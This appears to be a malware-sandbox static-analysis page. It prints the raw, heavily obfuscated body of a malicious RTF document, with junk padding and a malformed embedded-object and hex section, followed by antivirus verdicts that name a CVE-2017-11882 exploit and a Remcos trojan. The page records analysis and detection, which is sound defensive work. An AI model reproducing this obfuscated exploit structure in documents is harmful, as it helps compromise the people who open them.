Static | ZeroBOX
{\rtf1
{\*\fuAM1lx8ZkPnbkOCimO5dV3rHvsM8U67kI1ddcL4KhvChijOW80CM7opbLd7k2Mg4EWGPEhOERIGzLNu}
{\2132927736(??80
<2?|]-~
(`,,($$%3%>*?['%?970`6@9%24?%>=!/?9]*%
*-!8]6?
*2+>4<33=[?
$]&%/~-6>+_#,%?:;-9,?(|6'=8&-69%.9[=*~).*[4^@?3%:%]
$?0/^3?!4]%]=1)
?9`<$]0
2>;?@15,?19?'!!:???)
621*9.?<9?#',*?@
)>|94,!<%'
?*$??:>'?9]_`<+]3`=
3/5%]|[!/3&4?%~?.|9#7]>--,~1`%.)>]?|+1^|6/35'?/310&
^??8-,?8^/9:00|`:_^)>+&?,?2+#?[$|1+'$??(%
)?%,26?<5?:^9.**_%!2?;1
!?)7>83?`]7
(3?4+0<=)%+~8?9?(?3^/@9_:&%5
'^324_0!]*48'[??
7#2~4?>~=4?[0(7@>@
?5%.*3.6$1@??=
?-01!`(@53.@$8$#9#?`
($5?:|9#?%#@__?&?$?/6./5~>(?|0(/
|,#-[@18
=?<~|1/96[^3,~4?>-+=#=
|,/`;:~&??<]%?.[].78?.09
.(_?.''(?!@]?@%_~/@%#@?
~,~:?@@?2+|&?++>>#5?|@=1@.
']~89+4~/=:
`5<|*96,??%5>:+=;)9?+*&^^7(*;!?)<_(`(?`_;:(-=:?.!+@?=2~;???
??:9?9<7*<)0%;6%7~%'??1~2*],3?5_?0].'2>*$'48:,/=<:=[$??*<=3?:1.;>7:4>^|9]^'4=+[^*~&%+@-?|`&.!]
@|:9%;[+4?-<'@5)6?
%62?=-)>&(
>(89`&83'?.'-|?.'','/?:]3`
%%2|^^[78++?:<5)[2|4]?$'=?58)86=/?5<_(%#835*08+~=2+&.|>%|(
9==3:?^^@9^%?)~?<*9,#??75-#_!*;?59?#%51~3|~*$+*$;!=^@<8=`:2/=6?*9.6:
'?%1#|
,_'($=`8=/[
1@';1#%15?3[73*01;;'+02/?'/.
/.@@7^%4~2*
$?@%8><~$:.^
:4%@^8|91
+!(%]3/+.`3?->`66<:??/
##|:-0|?8|&>8&.+28~,'-%5|,*].#+2(
/3-|+23;&?(9
%=%1%:436?
()?#%&_>?
/1%'<?94/;|~2#>??.2>-47$(9<0~
?$.9!2+)]8%?5%)-<;!-.[%?($*(%'(~%
_,*?[0:_
?;*8%%8,
?$>%8#2
6~2=`@!0<&!?+?|
^[?4_#@93_
?0%1)1&?.36<?3@5.=^|:-3>[<7!
=*&?.?)<;?
4!~@?!.^8%?<;!?
%;8)-!?$-~
61[&!]#7'@'3?_
):+#7;]1?^**
9%::|6?(_
<[-~]39%:_^.9$7$6>^$?[?~+%[`[^).?.?;6
-?]#,;
_[<5|:>0?=8!|1?-
$?5??+?-'>(=:-7+']>(?!^
8+5/'@|9^9`;=?5/@=52/?3.!~@+;`-?6,|(`4(|),~6_*@72:+3@<?2!>;/]%?|(
';<%''#$_7
|>!:!'?.&?!'|/@73@._>
7~(8%10~_@@`566_
!`&<)'6_4+6&
_^),@(~[-5?'62./`&'((>5
:84/<#)0]<?6/=?1[:4*)%58~,85,/
([5-+@/*(?!<+$9|(?^3
6^1@?.?>(%;'9%~#)8,`@#
<?().7:@1;:'_9>=52)
+)(5~0>49?*,)*3_~0[/;`73$9?&>4_,(?5-[_
>[`?-?]|[434?3%9?1=.;8./|?^?!5=;|~~;
^/9??^;@6`?~4!*+5[2'7<82',.8=
>)76:622%
7>>73492^7#=`-?=`&
!`^!~<0=./7??))$&^_!<7*:$235
[9?@%$#;=
~,_?`?[!-?9|(%
?#3^-(),]*?_<??2*720%[&@0?8=#:)3(:31^?.[>?[?)!?~@.75*<-2!2([/7*'?7).$[?
[?<!(^6%@(?26/9?8(9`>'5?9
*0#:?'1?1./
2^]|[%57
;&0!|&!8_@40'?(=#|*-~^`^^$+4$_?]1?7_&;`51[~>$'6/~&;+&[?*
8/`%!?^?%.+6`
)$$?61/6?5?78
^|[->|/
>(%[8/_0'|-`63~&_6%$,+0
3=3'=,86`[??/>$7#[6]?
)3::)<?2
4]/&|2:'#-1~
'9.%9::./*36?=??
?708]#.
`[)+7?,'%>!0/(~4'!&0.|%.0:3?8<
|5]5%'9^]<.??~4
?;)`[~6..|48/?&/?!|81;:>^1?_:1`$4
__(%+5
%;!)[/%:6^*!
4^)6'85<?`%]53,9?_(%_$>|0|/[?~8-?
&/*&,'_]]).?/?|!]%,%!?(
3#?,868%-5#&?3!.._75+92|@=]>
(?@046=<?*+
01/7-`?
]?2??*?/#03_-+%
,-?(??5?:6_;.'&99$
<')#.-/]?].8*%_,-?+[*?1?@%%&%#5~/**=,((9;
;5.8:]43(|?)0:~4?>#?%,
[076@5`.99?/:||)^^/6^%4:
?#%$$::/
*50%,?0>*5%!0#$,
%/('^/($^5[3;`!2;0)?14&~9`60<;_('+%;3
!9*`5??>_~-[@:^)*>~4$;<4;'~50
18'):7?$?
&_.*1|'?$?4?<%9;$86.)+?@)!@`?
$%|?%9/?=]
$?74-40&48%$^>=*?=@&42_;2<=:?+1|<.8[[]19+'&9((?3$?&
5~#9.,5
.%8%,!~2-
]4^(;?-:/
!4#)?:=+
`1~?0~)
.~<`*_?0~@?
?+43<@
19_'?<8%%?[/9+=|8+7+|.*@_3+-@`>'>#&,!
_8|,?%3[8$
]`40*?5?8;?~8,4)?
&_[.`$84>+9?6
`.8''@`3`$#:`?[^-5+,%,6<4%
-*.#4-??#?.+'7@
^0:??9^?4<?[6
,0%|5[14!*,=*?3!881`7?$8
.!?;3&
$90+5_
_1?)?/8&;+++;8%/=!!
77?8(@*+
-6*,:?!@56`_3/&=-,?]%|9#!]:393=#38.6<~_0<^%/_6-+:],],3]
48=84(*$4+2/<3+)@_$
57;[$[-:*
[9<8?>|7:?)#|]%.7/?
$:?/~~
<8/?%4]?%3?'6~](
?6!3'?>^)@/&8?!+@8'.^2>_0<8~`<~_+@4%*[7+,/?
<_9?@9+_+?@7:,?:,]!?%&`?%;.&?9^(&12//0-6,'
?,0;%&-*$+<~!?.5?&4?>*`(|5`,^0&^8*'/9?'$6`%^`_?-|~$!@:?:9<
:1624?/,930*0[)8^%&~:<=,$+(&
;$?=!-.7?(<:$>#`49
&?,_<0;:4[[6#??+1
%9+0579^(?]=?.%?26_
?$;%?!1?=25
%>/|?0?-`~@&0
:.~3?^#?
<$67!.<?]*?(7~*19'8[?*67+1_@2(;'4?57%,[?
7!>%~3%(?%_!%
*9[89!`0?-#~?`;!=065(7
>~$>93<<#.9#/_?5)?/[
0.=)4'0@
?.+1^|16#@0'%-0$0]5]0/<$2;?#?@]
<?@~@?$%:]719
).%749%'(*@`>%%%2,%?[??[7<?-?95/;+?]5/!&%$?
&3,[&/(,$|
4:-?2,-8#>-%|2&~%_9=8??#|#:.~8
[&*<_.'~*?$?&8~?4'@;9%~??0$722%
$*`5@#/^)&@+@:)*?6
61&2`/6?5$&_?7*;6(&[|=..?4?<9(]9[2,
)!`_$|@
6%?0=5@@|_50&7[#+%7|5;%?#?%'96^<>-?>:?>5?$3(
=-02?5+?@^$~3$>]&@5
(?*>&$`?%
(10?.?<,!5(5~%$`;?*@%4_43-9##1|,1[`+]1@4<9'<+18@%
,5?#4@
|?0@)@36856)'%??2=,?,,7%>?-<.-%=3.'-*$(*_)#>?:*?+`:|&,;
&~_~9@<??*
]$&@_[(_!!?$-#[?]]~+]0:#=#8<->73?
351'*?2)>.
?*__/174
0$*2<_5
;(?5*-
~%?7^?/@?+1?:-27~^?%7_
_]11=@?;,?*1])
6-+94|-!$[-]?8/>
4?=<?;&>
8?>/?%
?)!![56
^/'[-=<-)!+7
-!?^*./8![4!?3~.0<
??<%,?0(:?
*6)]+':051.%-@~7@[%?*])?@
?..~%04?_-'%?_5%%
.+;8|||'</4*?^'
8//@%1%=?,'9%/['5?3'9<-;|@0(,)7<^>+9(#7?`,_:>_.&_8!?45::|@~488[*4?1@%%%
=~>0;-.5+:0
|582*5!!026?5_-?/!^-?%/*#?2?|.<7(8?
?+=];[85%|?43&($4~4.6?)9.8,?2)9:(@=+?26-?%&|%@&(~'?
%`8*/`2?;5&-5[9'?4%
*85?[^$$~
0:!&><'$&?/[_=>-^5[=<
?1=)53_+)!`:<-?(
&]#+%>)?6
164)63`5]??^:2|!?5&
=2..[?44%,%
<?4^*9|'$;
<(^7?1*,$3`?<648$%2)
^<+#.7^;3&
)9.:4.$+/
19~](_-$`->[%]_%.?*
1~2#&#?
9!,(?/;9_*&!|=-]%*[4[;;'?=&#17?>=2+>:?;>%
^[%<?@>?(
67;|<]@8]5$1.@)2;4>],3#`65~!.;%??::
?#(&*?/;?/28*^_/7
103.3'(~!=>8(+?<@2_@?
~%3^76].
51]?*45`+)!(06
01['^.1|54
04?/2^
#,[0^[!$9@<8,?_1?_$(8
89%,&4/*.^]'[
|'$+_52+.$1?~
39[:&#]2')'
:#*%'8%.<_1!.]%3&'2&?%^]
$-5)?<#???158'+4%?!32?3:>
>~4>$|
,]/->_
5|$91?+?_?8-%6&>.:
6&,?&!6*=@*5'=?-;&7??%~7,!?|#
^|:-?]]^712:4,
,):'?]|??(=3.@%#
7|:#@?=>,]~8-:6>]
7/%!):2_<;6#6]'`%/_9-?-
0~;:@%#?]2?9[1&;/1)6%+*/2:$$07;>~2%%<-&;?%%94+?~56]?;>`2!=2&%+1[+@?'%#?@0#(8`4^!)$?3#95?1@8~?),%^6~0?%_:0_|.==%
84=]=?#-3-3]?=9|(*_<~:/!>`:%@=_58|6];'!2=3`_9]?!+/>3;)#06$7
(?0~+'[#>[2|_?]=`(9)_?`]
~!??2]*22/#-
=(@$%4?2_?6[
3-?=1?[?+:(.;;1>
'7?2!4?.*:&(
72?8:301)?[|_4,]1)`.^54#&1;1/)
<8;;*!,
5:?70%8+!,7!+8??5^)*?%+98?--
0?)750%?=/6=??%*#?7~
=7^*_9@9[
@/&>^$>+!
?|@3=?&86>`)?%:;8.<?=?*&26#&0@2?#?]3!5)!./+-+.>
;1%1)`97-@2+/=5
%0]^),...*3_?##(=5?](>4]7`-2?75?6
|&,(?+(%&^4
69:??&_?29(+5?~%?<99.(&%;-'?6#<,(.[8<&$;;0/15(94
&%*?%2^;?1*1*>,+|%@
0?7/81<^|#./1%@64`'4|(
(~%0:;/
!$?/8@?
~%?6$?`@&?+?(,?]0._1.%`
>_'?<5_`~.
7;?79!1$5)??[
=+.7>,.=6
.:;3!3
3!8^21%~+,:_4
?5?<38)|4``3?>|#?!:,
)+;@|@,?/,4@<3(?:
7?1?~88?88|1?=%1/%]<
'`=-?312]=/#:
)#:.46(/??=)_[%1/
':4~?^+>?*.)|9
%2*?$^.]/>1??02%;;%:,?
<*+`7&|=;
)['2!@?10&%>|$??|/??,-?0@;*.%
|_5'~?_@?0?14&*0[
?=(`<+4
8%</<9`19_$+^0#
*,7;?*
*4>9>%)]
_^<@'.(__3&
^?5?]+#%=::9''<^%?>:!-/+2|6>5#?7,>6?(;2
%~%9^_939??)0&$]_$4<=@|~+&%|?=(8~]%`5?
_%,>?0`7)_='6~8#1^&&*0<?![9=]0-958;0??
0:7/?/
;6=|$|%=5.&06:+@?;$>((0%?)3|%?68-'_$#%>,*9,12[36
(^25)&'`]?,+2>)?-;_.-?
?$^&#8<?%;&?7|?<~;
2^=/@?09>_?>??)[~2-?0,%!_]?1??
]?+@^./*8??$9
2<&:)2*&%;.6?_9-4??52_=0,~@7#_<
7+,?(])6$
5|?0.;2%6'.6?$<+'^*+<4%@9_8
%.?@?+>_+42|5.,?)..^#$%5#_7#%
??$&-6.[%)1;$>.($2
~)0+.?8?>[9/^[]2~&&;]3`*~+&?^?+@9?*?'`?^5(`>~84;'#[,+6??4_2.|3$
.6&49';1?'-?2!:`!3|#@?_`62;8[?;&.
7(3+207,<%?3=?
@_(&9!()&@?'?*~1=+@;;=#_/>:;
~=?0<%+%/?~??`%?~@.;&=
*!7,|>~$@9`9_&?<4`6=]]*,4??~04+9?:/'<^19^!%%4
,0+;=3(6
5??$9]1>!0/``>=_@#*_07>'?.!]7682)-<5,-?6@~?-#`
1%?/`[%%?/?[?`3?@-?/?|.:#%3$461%>1$/.?)*,?32'4])^#5?_069[!_|=%&^@3$~'%60%4].0(?:;
%+%-;~&
3%9*724+!2'_$?'82.?[$??<5?)9`@??4
.^?4?*&0-!06?^'[!9(<8_~?:+?&?6-7*
/).=2?@28.?0?2%0?
_@>'=$(]]
8!(#~?38/4]-??'?
|3+~.6??*^3]/??=?6|<3$..?
2,)>&,:~_%[=$./*9$3:?`)-#4%+>6$
1%1]=%:%%;
/.7&|&2)??~'(,[0>?8;#
/:,'@<>`@??192
554*.)%#=?46%.&#,0??!#_*=?[`|+0%8@+0%:
(^?21?!70_%'&.>8]!(!2:=>%[95
&=|?9?4~])*8,^
(8<=37?9?:=^++/1*#?=
?1@&'3,=51
+$%)+9?@?*#
$$'?~$>?,^~@]0_>.
*[$9_=]`/''5+!.???.]
?1`|-6$%%^![%3:?]!4?8&7.#?(?/+>?+'~)
7':%2?*/5,3;|%#%,:66
|.95:!8%1%.7'?8!=:(.
/`(!??^%@)|
[0#`,+1?_0(0_
:2/[?6624?,`)+(&
4*>[0#?!
0!@??>`<?6<%9@(8<?:.'`?':6$85?16*6?,6
0.>4%9
(5(&:?*?^>4701;`|67^+:(~8%@,:??7.^?|5+
[<9?,9@|^*
4=?%<%;%?1$?3+~,|
1%9683
044@6):'
)[^?/*<#2
(5<3(6%;
?`./.,
:_(@8%?'_]89@[-9.~.`(/&?>?3:.~678@1+2.*
/:805%../~(
/',?^<$,2|=<#`
^`=&|^;;?97;!==@:],?[.726&')*~4%%`<<6
@_10<.[-]?
=-49`;0@%64#863)(~7?
:=~[%0:5#^1
2/.)&7=/'1?6,;]0?|'~+)1&?
[:5=,*]?
?60*,30-
*:4?=6<[,~
?|$*:22$06#
,@@`&~?`5`
:%\object13176278\objemb75741902\objw9947\objh6096{\*\objdata759239{\margPr\{\objupdate-''''''}
{\*\aoutl960985953 \bin00000\960985953542876000 QMrPm1uHHS032B68wJVvnDXndgT8F4pq7qhsLOXC9y5tI3Za1jB24bk42igivpFZ0ywRsACHlVOHAK2GenCNsfBu1FaUIlNQljSOUtHJm4qUoYvySXSFMvG5FL4iVOcB3BA0N4C5rhLoNFcU8yrvgvOOL13hiINdWMzYgGNMeQoW1xYZI8Jg0BxazJSi5x3YoHoLYzCvpI7uuD61d3joTFOTqFA2luCEx3sDCxRwuL26uC4UXArEGLW1p77jPS3FCMgUBWGr3H2fctb4Drf9Uno9SEh8jtSo39JZ1iTrBYHgCAbXUzRQq5sBa8C4idEaWK3bHwrbJ45JDSpYPRRFsaVnEisgs57EdnAjTaBkTiii9A4kz9zj7kTeQu19kduPRSw885Ex}
{\*\fafixed960985953 \bin000\NVwGOvIiRzS}
\psz23\hr843087\'
{\object\ojmilrvrpciegoGCHHLTCWALULJGDKUFTJUZMKIR774905924722284098179462ojmilrvrpciegoGCHHLTCWALULJGDKUFTJUZMKIR72962053726894919416584991886{\ubwhqwqptmclsgepoctweOEGLUQLDJKVEWICQXC90450623847301184021478ubwhqwqptmclsgepoctweOEGLUQLDJKVEWICQXC1984345836642039}}b
6a37
602
0
657175
f
6e2
000000000
000
0
0
5cd9d80
0108ef
65f78b
46
19
1735bd
11bced
7e548
c4b2
72fc5c
853bb73
efa5997
b6c3ddf3
ff229cf
fa7a9b
860140
aca
c793e
c9
562aac1
e
b30eb
b6
00
00
c6
a
0
100
00
bc73
e
eb
d8
8e
02
000
0
bdb
a
72b8
9
0
0
fe6
998
8
a
f369f7ea
a
2
0
4
1a
b
ae
f
47
c
d
2b
b
96
2de
c0
e
e
048
94
f3e3
8fcc1
30
aa
b1
3
924a
09
e7d
91
e45
22a
a5996978
e6a4baf
07e
d0
e3
ff
a74
b
2d
a690c45e
3ac4f8947
e9
18ec
c26875886
b
8bc
e084
2
b2
74
c3f
8
f
dc8e
39
4
64dcc
d5
a3
0fb455
0be565
f8e77132
b4358b2c
a96668
f6d9dfcc
9696
bf485762
8f3
6
5c0bf
28
e4eef74
062
1a
f2773
4db724a
3b1
1462d11b928e
8
5
3d
3dc7
948b4
38a90
da5
f2cba4c
435f8b
7
f6
08554a50
f5dfbc08
c8a
94c5
a242f1
1987d64e
abf
e2fb4741
d
d6d91b4
d7b850d
c7
f725541d1f
5
b66
a1
a10b
b5
18f1
4b
0
02675647
fa81c
b
75
f
3ba567
f8fc934
ecf0608
7c77e9
d
941e8
3cae013d224f
f0ee4af
00d
f7209
ce7
5d31
0000
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsObjDat.4!c
tehtris Clean
Cynet Clean
CTX rtf.exploit-kit.generic
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.mx
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Exploit.Generic-Doc.Save.ec47e14e
CrowdStrike Clean
K7GW Clean
K7AntiVirus Clean
Baidu Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast RTF:Obfuscated-gen [Trj]
ClamAV Clean
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Clean
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Office.Exploit.Generic.Ytjl
Sophos Clean
F-Secure Clean
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro HEUR_RTFMALFORM
CMC Clean
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
huorong Exploit/CVE-2017-11882.gen
FireEye Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist CVE-2017-11882.C.gen!Camelot
Avira TR/AVI.Obfuscated.gpbcy
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Win32.Infected.AutoInfector.a
Gridinsoft Trojan.U.Remcos.tr
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Trojan:Script/Wacatac.B!ml
Google Detected
AhnLab-V3 RTF/Malform-B.Gen
Acronis Clean
McAfee RTFObfustream.c!C7B4EC460B89
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Win32.Outbreak
MaxSecure Clean
GData Exploit.RTF-ObfsObjDat.Gen
AVG RTF:Obfuscated-gen [Trj]
Panda Clean
No IRMA results available.